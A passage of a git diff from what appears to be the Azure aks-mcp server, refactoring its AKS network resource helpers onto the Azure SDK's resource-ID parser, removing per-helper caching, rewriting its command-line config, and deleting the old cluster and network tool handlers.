GetSubnetIDFromAKS(ctx, cluster, client, cache) + subnetID, err := GetSubnetIDFromAKS(ctx, cluster, client) if err != nil || subnetID == "" { return "", fmt.Errorf("no subnet found for AKS cluster: %v", err) } - // Check cache first - cacheKey := fmt.Sprintf("subnet-nsg:%s", subnetID) - if cachedID, found := cache.Get(cacheKey); found { - if nsgID, ok := cachedID.(string); ok { - return nsgID, nil - } - } - // Parse subnet ID to get subscription, resource group, vnet name and subnet name - parsedSubnetID, err := azure.ParseResourceID(subnetID) + parsedSubnetID, err := arm.ParseResourceID(subnetID) if err != nil { return "", fmt.Errorf("failed to parse subnet ID: %v", err) } - if !parsedSubnetID.IsSubnet() { + // Check if this is a subnet resource + if parsedSubnetID.ResourceType.String() != "Microsoft.Network/virtualNetworks/subnets" { return "", fmt.Errorf("invalid subnet ID format: %s", subnetID) } // Get the subscription ID from the subnet ID subscriptionID := parsedSubnetID.SubscriptionID - resourceGroup := parsedSubnetID.ResourceGroup - vnetName := parsedSubnetID.ResourceName - subnetName := parsedSubnetID.SubResourceName + resourceGroup := parsedSubnetID.ResourceGroupName + subnetName := parsedSubnetID.Name + + // Get VNet name from parent resource + var vnetName string + if parsedSubnetID.Parent != nil { + vnetName = parsedSubnetID.Parent.Name + } else { + return "", fmt.Errorf("could not determine VNet name from subnet ID: %s", subnetID) + } // Get subnet details to find attached NSG clients, err := client.GetOrCreateClientsForSubscription(subscriptionID) @@ -71,8 +70,5 @@ func GetNSGIDFromAKS( nsgID := *subnet.Properties.NetworkSecurityGroup.ID - // Store in cache - cache.Set(cacheKey, nsgID) - return nsgID, nil } diff --git a/internal/azure/resourcehelpers/routetablehelpers.go b/internal/components/network/resourcehelpers/routetablehelpers.go similarity index 67% rename from internal/azure/resourcehelpers/routetablehelpers.go rename to internal/components/network/resourcehelpers/routetablehelpers.go index 1112cd8..32c6a33 100644 --- a/internal/azure/resourcehelpers/routetablehelpers.go +++ b/internal/components/network/resourcehelpers/routetablehelpers.go @@ -1,22 +1,21 @@ -// Package resourcehelpers provides helper functions for working with Azure resources in AKS MCP server. package resourcehelpers import ( "context" "fmt" + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" - "github.com/azure/aks-mcp/internal/azure" ) // GetRouteTableIDFromAKS attempts to find a route table associated with an AKS cluster. // It first checks if a subnet is associated with the AKS cluster, then looks for a route table attached to that subnet. -// If no route table is found, it returns an empty string. +// If no route table is found, it returns an empty string and no error (this is a valid state). func GetRouteTableIDFromAKS( ctx context.Context, cluster *armcontainerservice.ManagedCluster, - client *azure.AzureClient, - cache *azure.AzureCache, + client *azureclient.AzureClient, ) (string, error) { // Ensure the cluster is valid if cluster == nil || cluster.Properties == nil { @@ -24,34 +23,34 @@ func GetRouteTableIDFromAKS( } // Get subnet ID using the helper function which handles cases when VnetSubnetID is not set - subnetID, err := GetSubnetIDFromAKS(ctx, cluster, client, cache) + subnetID, err := GetSubnetIDFromAKS(ctx, cluster, client) if err != nil || subnetID == "" { return "", fmt.Errorf("no subnet found for AKS cluster: %v", err) } - // Check cache first - cacheKey := fmt.Sprintf("subnet-routetable:%s", subnetID) - if cachedID, found := cache.Get(cacheKey); found { - if routeTableID, ok := cachedID.(string); ok { - return routeTableID, nil - } - } - // Parse subnet ID to get subscription, resource group, vnet name and subnet name - parsedSubnetID, err := azure.ParseResourceID(subnetID) + parsedSubnetID, err := arm.ParseResourceID(subnetID) if err != nil { return "", fmt.Errorf("failed to parse subnet ID: %v", err) } - if !parsedSubnetID.IsSubnet() { + // Check if this is a subnet resource + if parsedSubnetID.ResourceType.String() != "Microsoft.Network/virtualNetworks/subnets" { return "", fmt.Errorf("invalid subnet ID format: %s", subnetID) } // Get the subscription ID from the subnet ID subscriptionID := parsedSubnetID.SubscriptionID - resourceGroup := parsedSubnetID.ResourceGroup - vnetName := parsedSubnetID.ResourceName - subnetName := parsedSubnetID.SubResourceName + resourceGroup := parsedSubnetID.ResourceGroupName + subnetName := parsedSubnetID.Name + + // Get VNet name from parent resource + var vnetName string + if parsedSubnetID.Parent != nil { + vnetName = parsedSubnetID.Parent.Name + } else { + return "", fmt.Errorf("could not determine VNet name from subnet ID: %s", subnetID) + } // Get subnet details to find attached route table clients, err := client.GetOrCreateClientsForSubscription(subscriptionID) @@ -66,13 +65,11 @@ func GetRouteTableIDFromAKS( // Check if the subnet has a route table attached if subnet.Properties == nil || subnet.Properties.RouteTable == nil || subnet.Properties.RouteTable.ID == nil { - return "", fmt.Errorf("no route table attached to subnet %s", subnetName) + // No route table attached - this is a valid configuration state + return "", nil } routeTableID := *subnet.Properties.RouteTable.ID - // Store in cache - cache.Set(cacheKey, routeTableID) - return routeTableID, nil } diff --git a/internal/azure/resourcehelpers/subnethelpers.go b/internal/components/network/resourcehelpers/subnethelpers.go similarity index 83% rename from internal/azure/resourcehelpers/subnethelpers.go rename to internal/components/network/resourcehelpers/subnethelpers.go index 9953377..05a614a 100644 --- a/internal/azure/resourcehelpers/subnethelpers.go +++ b/internal/components/network/resourcehelpers/subnethelpers.go @@ -1,19 +1,19 @@ -// Package resourcehelpers provides helper functions for working with Azure resources. package resourcehelpers import ( "context" "fmt" + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" - "github.com/azure/aks-mcp/internal/azure" ) // GetSubnetIDFromAKS extracts subnet ID from an AKS cluster. // It tries to get the subnet ID from the agent pool profiles first. // If not found, it will try to find the VNet in the node resource group, and then // look for a subnet with the name 'aks-subnet' or use the first subnet if not found. -func GetSubnetIDFromAKS(ctx context.Context, cluster *armcontainerservice.ManagedCluster, client *azure.AzureClient, cache *azure.AzureCache) (string, error) { +func GetSubnetIDFromAKS(ctx context.Context, cluster *armcontainerservice.ManagedCluster, client *azureclient.AzureClient) (string, error) { // First, try to get subnet ID directly from agent pool profiles if cluster.Properties != nil && cluster.Properties.AgentPoolProfiles != nil { for _, pool := range cluster.Properties.AgentPoolProfiles { @@ -24,13 +24,13 @@ func GetSubnetIDFromAKS(ctx context.Context, cluster *armcontainerservice.Manage } // If we couldn't find a subnet ID in the agent pool profiles, try to find the VNet first - vnetID, err := GetVNetIDFromAKS(ctx, cluster, client, cache) + vnetID, err := GetVNetIDFromAKS(ctx, cluster, client) if err != nil || vnetID == "" { return "", fmt.Errorf("could not find VNet for AKS cluster: %v", err) } // Parse VNet ID to extract subscription, resource group, and name - vnetResourceID, err := azure.ParseResourceID(vnetID) + vnetResourceID, err := arm.ParseResourceID(vnetID) if err != nil { return "", fmt.Errorf("could not parse VNet ID: %v", err) } @@ -38,8 +38,8 @@ func GetSubnetIDFromAKS(ctx context.Context, cluster *armcontainerservice.Manage // Get the VNet details to list subnets vnet, err := client.GetVirtualNetwork(ctx, vnetResourceID.SubscriptionID, - vnetResourceID.ResourceGroup, - vnetResourceID.ResourceName) + vnetResourceID.ResourceGroupName, + vnetResourceID.Name) if err != nil { return "", fmt.Errorf("could not get VNet details: %v", err) } diff --git a/internal/azure/resourcehelpers/vnethelpers.go b/internal/components/network/resourcehelpers/vnethelpers.go similarity index 76% rename from internal/azure/resourcehelpers/vnethelpers.go rename to internal/components/network/resourcehelpers/vnethelpers.go index 3f06174..fa0d1eb 100644 --- a/internal/azure/resourcehelpers/vnethelpers.go +++ b/internal/components/network/resourcehelpers/vnethelpers.go @@ -6,8 +6,9 @@ import ( "fmt" "strings" + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" - "github.com/azure/aks-mcp/internal/azure" ) // GetVNetIDFromAKS extracts the virtual network ID from an AKS cluster. @@ -16,8 +17,7 @@ import ( func GetVNetIDFromAKS( ctx context.Context, cluster *armcontainerservice.ManagedCluster, - client *azure.AzureClient, - cache *azure.AzureCache, + client *azureclient.AzureClient, ) (string, error) { // Ensure the cluster is valid if cluster == nil || cluster.Properties == nil { @@ -30,12 +30,13 @@ func GetVNetIDFromAKS( if pool.VnetSubnetID != nil { // The subnet ID contains the VNet ID as its parent resource subnetID := *pool.VnetSubnetID + // Parse the subnet ID to extract the VNet ID - if parsed, err := azure.ParseResourceID(subnetID); err == nil && parsed.IsSubnet() { - // Construct the VNet ID from the subnet ID - vnetIDParts := strings.Split(subnetID, "/subnets/") - if len(vnetIDParts) > 0 { - return vnetIDParts[0], nil + if parsed, err := arm.ParseResourceID(subnetID); err == nil { + // Check if this is a subnet resource + if parsed.ResourceType.String() == "Microsoft.Network/virtualNetworks/subnets" && parsed.Parent != nil { + // Return the parent VNet ID + return parsed.Parent.String(), nil } } break @@ -45,7 +46,7 @@ func GetVNetIDFromAKS( // Second check: Look for VNet in node resource group if cluster.Properties.NodeResourceGroup != nil { - return findVNetInNodeResourceGroup(ctx, cluster, client, cache) + return findVNetInNodeResourceGroup(ctx, cluster, client) } return "", fmt.Errorf("no virtual network found for AKS cluster") @@ -56,22 +57,13 @@ func GetVNetIDFromAKS( func findVNetInNodeResourceGroup( ctx context.Context, cluster *armcontainerservice.ManagedCluster, - client *azure.AzureClient, - cache *azure.AzureCache, + client *azureclient.AzureClient, ) (string, error) { // Get subscription ID and node resource group subscriptionID := getSubscriptionFromCluster(cluster) nodeResourceGroup := *cluster.Properties.NodeResourceGroup - // Check cache first - cacheKey := fmt.Sprintf("noderesourcegroup-vnet:%s:%s", subscriptionID, nodeResourceGroup) - if cachedID, found := cache.Get(cacheKey); found { - if vnetID, ok := cachedID.(string); ok && vnetID != "" { - return vnetID, nil - } - } - - // List virtual networks in the node resource group + // List virtual networks in the node resource group (now cached at client level) clients, err := client.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return "", fmt.Errorf("failed to get clients for subscription %s: %v", subscriptionID, err) @@ -87,10 +79,7 @@ func findVNetInNodeResourceGroup( for _, vnet := range page.Value { // Check for VNet with prefix "aks-vnet-" if vnet.Name != nil && strings.HasPrefix(*vnet.Name, "aks-vnet-") { - vnetID := *vnet.ID - // Store in cache - cache.Set(cacheKey, vnetID) - return vnetID, nil + return *vnet.ID, nil } } } diff --git a/internal/config/config.go b/internal/config/config.go index 1c3328a..94eee10 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -1,109 +1,52 @@ -// Package config provides configuration management for AKS MCP server. package config import ( - "fmt" - "os" + "time" - "github.com/azure/aks-mcp/internal/azure" + "github.com/Azure/aks-mcp/internal/security" flag "github.com/spf13/pflag" ) -// Config holds the configuration for the AKS MCP server. -type Config struct { - ResourceIDString string // Raw resource ID string from command line - Transport string - Address string - SingleClusterMode bool - ParsedResourceID *azure.AzureResourceID // Parsed version of the resource ID - AccessLevel string +// ConfigData holds the global configuration +type ConfigData struct { + // Command execution timeout in seconds + Timeout int + // Cache timeout for Azure resources + CacheTimeout time.Duration + // Security configuration + SecurityConfig *security.SecurityConfig + + // Command-line specific options + Transport string + Host string + Port int + AccessLevel string } -// NewConfig creates a new configuration with default values. -func NewConfig() *Config { - return &Config{ - Transport: "stdio", - Address: "localhost:8080", - SingleClusterMode: false, - ParsedResourceID: nil, - AccessLevel: "read", +// NewConfig creates and returns a new configuration instance +func NewConfig() *ConfigData { + return &ConfigData{ + Timeout: 60, + CacheTimeout: 1 * time.Minute, + SecurityConfig: security.NewSecurityConfig(), + Transport: "stdio", + Port: 8000, + AccessLevel: "readonly", } } -// ParseFlags parses command-line flags and returns a Config. -func ParseFlags() *Config { - config := NewConfig() +// ParseFlags parses command line arguments and updates the configuration +func (cfg *ConfigData) ParseFlags() { + // Server configuration + flag.StringVar(&cfg.Transport, "transport", "stdio", "Transport mechanism to use (stdio, sse or streamable-http)") + flag.StringVar(&cfg.Host, "host", "127.0.0.1", "Host to listen for the server (only used with transport sse or streamable-http)") + flag.IntVar(&cfg.Port, "port", 8000, "Port to listen for the server (only used with transport sse or streamable-http)") + flag.IntVar(&cfg.Timeout, "timeout", 600, "Timeout for command execution in seconds, default is 600s") + // Security settings + flag.StringVar(&cfg.AccessLevel, "access-level", "readonly", "Access level (readonly, readwrite, admin)") - flag.StringVarP(&config.Transport, "transport", "t", "stdio", "Transport type (stdio or sse)") - flag.StringVar(&config.ResourceIDString, "aks-resource-id", "", "AKS Resource ID (optional), set this when using single cluster mode") - flag.StringVar(&config.Address, "address", "localhost:8080", "Address to listen on when using SSE transport") - flag.StringVar(&config.AccessLevel, "access-level", "read", "Access level for tools (read, readwrite, admin)") flag.Parse() - // Set SingleClusterMode based on whether ResourceIDString is provided - config.SingleClusterMode = config.ResourceIDString != "" - - return config -} - -// Validate checks the configuration values and returns an error if any are invalid. -func (c *Config) Validate() error { - // Validate AccessLevel - validAccessLevels := map[string]bool{ - "read": true, - "readwrite": true, - "admin": true, - } - - if !validAccessLevels[c.AccessLevel] { - return fmt.Errorf("invalid access level: %s, must be one of read, readwrite, admin", c.AccessLevel) - } - - // Validate Transport - validTransports := map[string]bool{ - "stdio": true, - "sse": true, - } - - if !validTransports[c.Transport] { - return fmt.Errorf("invalid transport: %s, must be either stdio or sse", c.Transport) - } - - // Validate Address if using SSE transport - if c.Transport == "sse" && c.Address == "" { - return fmt.Errorf("address must be specified when using SSE transport") - } - - // Parse and validate AKS resource ID if provided - if c.ResourceIDString != "" { - resourceID, err := azure.ParseAzureResourceID(c.ResourceIDString) - if err != nil { - return fmt.Errorf("invalid AKS resource ID: %v", err) - } - c.ParsedResourceID = resourceID - } - - // Validate ResourceIDString if in single cluster mode - if c.SingleClusterMode && c.ParsedResourceID == nil { - return fmt.Errorf("invalid or missing AKS resource ID in single cluster mode") - } - - return nil -} - -// ParseFlagsAndValidate parses command-line flags, validates the config, and returns it. -// If validation fails, it logs the error and exits. -func ParseFlagsAndValidate() *Config { - config := ParseFlags() - - if err := config.Validate(); err != nil { - // This will be shown to the user - fmt.Printf("Configuration error: %v\n", err) - // Show usage information - flag.Usage() - // We use 2 as the exit code for configuration errors - os.Exit(2) - } - - return config + // Update security config + cfg.SecurityConfig.AccessLevel = cfg.AccessLevel } diff --git a/internal/config/validator.go b/internal/config/validator.go new file mode 100644 index 0000000..d6f9e71 --- /dev/null +++ b/internal/config/validator.go @@ -0,0 +1,61 @@ +package config + +import ( + "fmt" + "os/exec" +) + +// Validator handles all validation logic for MCP Kubernetes +type Validator struct { + // Configuration to validate + config *ConfigData + // Errors discovered during validation + errors []string +} + +// NewValidator creates a new validator instance +func NewValidator(cfg *ConfigData) *Validator { + return &Validator{ + config: cfg, + errors: make([]string, 0), + } +} + +// isCliInstalled checks if a CLI tool is installed and available in the system PATH +func (v *Validator) isCliInstalled(cliName string) bool { + _, err := exec.LookPath(cliName) + return err == nil +} + +// validateCli checks if the required CLI tools are installed +func (v *Validator) validateCli() bool { + valid := true + + // az is always required + if !v.isCliInstalled("az") { + v.errors = append(v.errors, "az is not installed or not found in PATH") + valid = false + } + + return valid +} + +// Validate runs all validation checks +func (v *Validator) Validate() bool { + // Run all validation checks + validCli := v.validateCli() + + return validCli +} + +// GetErrors returns all errors found during validation +func (v *Validator) GetErrors() []string { + return v.errors +} + +// PrintErrors prints all validation errors to stdout +func (v *Validator) PrintErrors() { + for _, err := range v.errors { + fmt.Println(err) + } +} diff --git a/internal/handlers/cluster.go b/internal/handlers/cluster.go deleted file mode 100644 index d93f19b..0000000 --- a/internal/handlers/cluster.go +++ /dev/null @@ -1,114 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "fmt" - - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// GetClusterInfoHandler returns a handler for the get_cluster_info tool. -// It can handle both single-cluster and multi-cluster cases based on the configuration. -func GetClusterInfoHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - var clusterResourceID *azure.AzureResourceID - var err error - - // Determine which resource ID to use based on the configuration - if cfg.SingleClusterMode { - // Use the pre-configured resource ID for single-cluster mode - clusterResourceID = cfg.ParsedResourceID - } else { - // For multi-cluster mode, extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - clusterName, _ := request.GetArguments()["cluster_name"].(string) - - // Validate required parameters - if subscriptionID == "" || resourceGroup == "" || clusterName == "" { - return nil, fmt.Errorf("missing required parameters: subscription_id, resource_group, and cluster_name") - } - - // Create a temporary resource ID for this request - clusterResourceID = &azure.AzureResourceID{ - SubscriptionID: subscriptionID, - ResourceGroup: resourceGroup, - ResourceName: clusterName, - ResourceType: azure.ResourceTypeAKSCluster, - FullID: fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerService/managedClusters/%s", - subscriptionID, resourceGroup, clusterName), - } - } - - // Get the cluster from Azure using the appropriate resource ID - cluster, err := getClusterFromCacheOrFetch(ctx, clusterResourceID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Return the ARM response directly as JSON - jsonStr, err := formatJSON(cluster) - if err != nil { - return nil, fmt.Errorf("failed to marshal cluster info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} - -// ListClustersHandler returns a handler for the list_aks_clusters tool. -// It lists all AKS clusters in a specified subscription and optional resource group. -func ListClustersHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - // Extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - - // Validate required parameters - if subscriptionID == "" { - return nil, fmt.Errorf("missing required parameter: subscription_id") - } - - // Use the Azure client to list the clusters - var clusters interface{} - var err error - - cacheKey := fmt.Sprintf("clusters:sub:%s", subscriptionID) - if resourceGroup != "" { - cacheKey = fmt.Sprintf("clusters:sub:%s:rg:%s", subscriptionID, resourceGroup) - } - - // Check cache first - if cachedData, found := cache.Get(cacheKey); found { - clusters = cachedData - } else { - // Not in cache, so fetch from Azure - if resourceGroup == "" { - // List all clusters in the subscription - clusters, err = client.ListAllAKSClusters(ctx, subscriptionID) - } else { - // List clusters in the specified resource group - clusters, err = client.ListAKSClusters(ctx, subscriptionID, resourceGroup) - } - - if err != nil { - return nil, fmt.Errorf("failed to list AKS clusters: %v", err) - } - - // Add to cache - cache.Set(cacheKey, clusters) - } - - // Return the clusters as JSON - jsonStr, err := formatJSON(clusters) - if err != nil { - return nil, fmt.Errorf("failed to marshal clusters info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} diff --git a/internal/handlers/common.go b/internal/handlers/common.go deleted file mode 100644 index ad8cf8a..0000000 --- a/internal/handlers/common.go +++ /dev/null @@ -1,66 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "encoding/json" - "fmt" - - "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" - "github.com/azure/aks-mcp/internal/azure" -) - -// formatJSON formats the given object as JSON with indentation. -func formatJSON(obj interface{}) (string, error) { - jsonBytes, err := json.MarshalIndent(obj, "", " ") - if err != nil { - return "", fmt.Errorf("failed to marshal to JSON: %v", err) - } - return string(jsonBytes), nil -} - -// getClusterFromCacheOrFetch retrieves an AKS cluster from cache or fetches it from Azure. -func getClusterFromCacheOrFetch(ctx context.Context, resourceID *azure.AzureResourceID, client *azure.AzureClient, cache *azure.AzureCache) (*armcontainerservice.ManagedCluster, error) { - // Generate cache key for the cluster - cacheKey := fmt.Sprintf("akscluster:%s", resourceID.FullID) - - // Try to get from cache first - if cachedData, found := cache.Get(cacheKey); found { - if cluster, ok := cachedData.(*armcontainerservice.ManagedCluster); ok { - return cluster, nil - } - } - - // Not in cache, so fetch from Azure - cluster, err := client.GetAKSCluster(ctx, resourceID.SubscriptionID, resourceID.ResourceGroup, resourceID.ResourceName) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Add to cache - cache.Set(cacheKey, cluster) - - return cluster, nil -} - -// getResourceByIDFromCacheOrFetch retrieves any Azure resource by its ID from cache or fetches it from Azure. -func getResourceByIDFromCacheOrFetch(ctx context.Context, resourceID string, client *azure.AzureClient, cache *azure.AzureCache) (interface{}, error) { - // Generate cache key for the resource - cacheKey := fmt.Sprintf("resource:%s", resourceID) - - // Try to get from cache first - if cachedData, found := cache.Get(cacheKey); found { - return cachedData, nil - } - - // Not in cache, so fetch from Azure - resource, err := client.GetResourceByID(ctx, resourceID) - if err != nil { - return nil, fmt.Errorf("failed to get resource: %v", err) - } - - // Add to cache - cache.Set(cacheKey, resource) - - return resource, nil -} diff --git a/internal/handlers/nsg.go b/internal/handlers/nsg.go deleted file mode 100644 index 61bbe97..0000000 --- a/internal/handlers/nsg.go +++ /dev/null @@ -1,90 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "fmt" - - "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/azure/resourcehelpers" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// GetNSGInfoHandler returns a handler for the get_nsg_info tool. -// It can handle both single-cluster and multi-cluster cases based on the configuration. -func GetNSGInfoHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - var clusterResourceID *azure.AzureResourceID - var err error - - // Determine which resource ID to use based on the configuration - if cfg.SingleClusterMode { - // Use the pre-configured resource ID for single-cluster mode - clusterResourceID = cfg.ParsedResourceID - } else { - // For multi-cluster mode, extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - clusterName, _ := request.GetArguments()["cluster_name"].(string) - - // Validate required parameters - if subscriptionID == "" || resourceGroup == "" || clusterName == "" { - return nil, fmt.Errorf("missing required parameters: subscription_id, resource_group, and cluster_name") - } - - // Create a temporary resource ID for this request - clusterResourceID = &azure.AzureResourceID{ - SubscriptionID: subscriptionID, - ResourceGroup: resourceGroup, - ResourceName: clusterName, - ResourceType: azure.ResourceTypeAKSCluster, - FullID: fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerService/managedClusters/%s", - subscriptionID, resourceGroup, clusterName), - } - } - - // Try to get cluster info first to extract network resources - cluster, err := getClusterFromCacheOrFetch(ctx, clusterResourceID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Use the resourcehelpers to get the NSG ID from the AKS cluster - nsgID, err := resourcehelpers.GetNSGIDFromAKS(ctx, cluster, client, cache) - - // If we didn't find an NSG ID, return an empty response with a log message - if err != nil || nsgID == "" { - message := "No network security group found for this AKS cluster" - fmt.Printf("WARNING: %s: %v\n", message, err) - return mcp.NewToolResultText(fmt.Sprintf(`{"message": "%s"}`, message)), nil - } - - // Validate the NSG ID by trying to parse it - _, err = azure.ParseResourceID(nsgID) - if err != nil { - return nil, fmt.Errorf("failed to parse NSG ID: %v", err) - } - - // Get the NSG from cache or fetch from Azure - resource, err := getResourceByIDFromCacheOrFetch(ctx, nsgID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get NSG details: %v", err) - } - - nsg, ok := resource.(*armnetwork.SecurityGroup) - if !ok { - return nil, fmt.Errorf("resource is not a NetworkSecurityGroup") - } - - // Return the raw ARM response - jsonStr, err := formatJSON(nsg) - if err != nil { - return nil, fmt.Errorf("failed to marshal NSG info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} diff --git a/internal/handlers/routetable.go b/internal/handlers/routetable.go deleted file mode 100644 index b50a0d6..0000000 --- a/internal/handlers/routetable.go +++ /dev/null @@ -1,90 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "fmt" - - "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/azure/resourcehelpers" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// GetRouteTableInfoHandler returns a handler for the get_route_table_info tool. -// It can handle both single-cluster and multi-cluster cases based on the configuration. -func GetRouteTableInfoHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - var clusterResourceID *azure.AzureResourceID - var err error - - // Determine which resource ID to use based on the configuration - if cfg.SingleClusterMode { - // Use the pre-configured resource ID for single-cluster mode - clusterResourceID = cfg.ParsedResourceID - } else { - // For multi-cluster mode, extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - clusterName, _ := request.GetArguments()["cluster_name"].(string) - - // Validate required parameters - if subscriptionID == "" || resourceGroup == "" || clusterName == "" { - return nil, fmt.Errorf("missing required parameters: subscription_id, resource_group, and cluster_name") - } - - // Create a temporary resource ID for this request - clusterResourceID = &azure.AzureResourceID{ - SubscriptionID: subscriptionID, - ResourceGroup: resourceGroup, - ResourceName: clusterName, - ResourceType: azure.ResourceTypeAKSCluster, - FullID: fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerService/managedClusters/%s", - subscriptionID, resourceGroup, clusterName), - } - } - - // Try to get cluster info first to extract network resources - cluster, err := getClusterFromCacheOrFetch(ctx, clusterResourceID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Use the resourcehelpers to get the route table ID from the AKS cluster - routeTableID, err := resourcehelpers.GetRouteTableIDFromAKS(ctx, cluster, client, cache) - - // If we didn't find a route table ID, return an empty response with a log message - if err != nil || routeTableID == "" { - message := "No route table found for this AKS cluster" - fmt.Printf("WARNING: %s: %v\n", message, err) - return mcp.NewToolResultText(fmt.Sprintf(`{"message": "%s"}`, message)), nil - } - - // Validate the route table ID by trying to parse it - _, err = azure.ParseResourceID(routeTableID) - if err != nil { - return nil, fmt.Errorf("failed to parse route table ID: %v", err) - } - - // Get the route table from cache or fetch from Azure - resource, err := getResourceByIDFromCacheOrFetch(ctx, routeTableID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get route table details: %v", err) - } - - routeTable, ok := resource.(*armnetwork.RouteTable) - if !ok { - return nil, fmt.Errorf("resource is not a RouteTable") - } - - // Return the raw ARM response - jsonStr, err := formatJSON(routeTable) - if err != nil { - return nil, fmt.Errorf("failed to marshal route table info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} diff --git a/internal/handlers/subnet.go b/internal/handlers/subnet.go deleted file mode 100644 index 0399f6e..0000000 --- a/internal/handlers/subnet.go +++ /dev/null @@ -1,90 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "fmt" - - "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/azure/resourcehelpers" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// GetSubnetInfoHandler returns a handler for the get_subnet_info tool. -// It can handle both single-cluster and multi-cluster cases based on the configuration. -func GetSubnetInfoHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - var clusterResourceID *azure.AzureResourceID - var err error - - // Determine which resource ID to use based on the configuration - if cfg.SingleClusterMode { - // Use the pre-configured resource ID for single-cluster mode - clusterResourceID = cfg.ParsedResourceID - } else { - // For multi-cluster mode, extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - clusterName, _ := request.GetArguments()["cluster_name"].(string) - - // Validate required parameters - if subscriptionID == "" || resourceGroup == "" || clusterName == "" { - return nil, fmt.Errorf("missing required parameters: subscription_id, resource_group, and cluster_name") - } - - // Create a temporary resource ID for this request - clusterResourceID = &azure.AzureResourceID{ - SubscriptionID: subscriptionID, - ResourceGroup: resourceGroup, - ResourceName: clusterName, - ResourceType: azure.ResourceTypeAKSCluster, - FullID: 